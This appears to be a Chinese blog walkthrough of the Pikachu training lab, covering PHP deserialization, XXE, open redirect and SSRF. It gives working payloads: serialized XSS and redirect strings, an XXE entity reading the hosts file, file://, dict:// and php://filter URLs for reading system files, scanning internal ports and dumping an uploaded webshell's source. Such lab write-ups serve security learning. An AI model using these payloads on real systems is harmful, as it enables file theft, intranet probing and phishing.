pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
PHP反序列化漏洞
分析下源代码
代码的意思是把输入的内容进行反序列化生成对象实例,然后输出对象实例的test这个数据成员
接下来构造序列化代码,该漏洞有多种利用方式
打印输出test1234
O:1:"S":1:{s:4:"test";s:8:"test1234";}
输出xss payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
实现网站恶意跳转至指定页面
O:1:"S":1:{s:4:"test";s:64:"<script>window.location.replace('http://www.baidu.com')</script>";}
XXE
XXE -“xml external entity injection”
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
XXE漏洞
源代码分析
simple_load_string()函数,函数转换形式良好的XML字符串为SimpleXMLElement对象
在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的
xxe漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML
使用以下Payload进行测试,成功打印test
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hack "test">]>
<x>&f;</x>
接下来使用以下payload读取hosts文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>
URL重定向
不安全的url跳转
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
不安全的url跳转
当点击a标签时候会进行跳转,使用burp进行抓包看看具体跳转的url
测试直接将此处的url的值改为www.baidu.com发送请求包查看是否会跳转,经测试发现成功跳转至百度,此处存在url重定向漏洞,攻击者可以将该url发送给受害者点击,然后进行钓鱼攻击
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
SSRF(curl)
SSRF漏洞常用协议:
1)HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
2)file:本地文件传输协议,可以用来读取任意系统文件
3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。
代码分析:
前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
点击链接后发现页面请求了info1.php文件,但是没有找到
此处我们可以直接file
协议去获取hosts、win.ini文件(Windows系统的一个基本系统配置文件)
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/Windows/win.ini
或者使用dict
协议扫描内网主机开放的端口,这里探测的主机是192.168.0.106
,在目标主机上开启http服务
dict://192.168.0.106:8000
端口不存在的时候页面显示正常
端口存在时页面会显示错误信息(根据差异信息判断端口是否开放)
使用burp进行批量端口扫描,因为时间关系这里就只演示8000-8100的端口范围
根据返回包长度可以判断出端口是否存活
SSRF(file_get_content)
代码分析:
本关使用了file_get_contents() 函数,该函数将指定 URL 的文件读入一个字符串并返回。
file_get_contents 与 curl的区别:
-
curl 支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟 Cookie 登录,爬取网页;FTP 上传下载。
-
fopen / file_get_contents 只能使用 GET 方式获取数据。
点击链接后网页会请求一个url
直接使用file
协议读取系统配置文件
file:///c:/windows/win.ini
或者使用php://filter/
读php源代码,这里读取之前unsafe fileupload上传的一句话木马
php://filter/read=convert.base64-encode/resource=../unsafeupload/uploads/a.php
使用base64解码后得到php文件的源码
再或者可以使用http
协议去请求内网资源,这里可以在本机创建一个ssrf.txt文件,并且使用python启动http服务
利用SSRF漏洞去请求这个文件,即可获得文件中的内容文章来源:https://www.toymoban.com/news/detail-852826.html
文章来源地址https://www.toymoban.com/news/detail-852826.html
到了这里,关于Pikachu靶场通关记录(详细)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!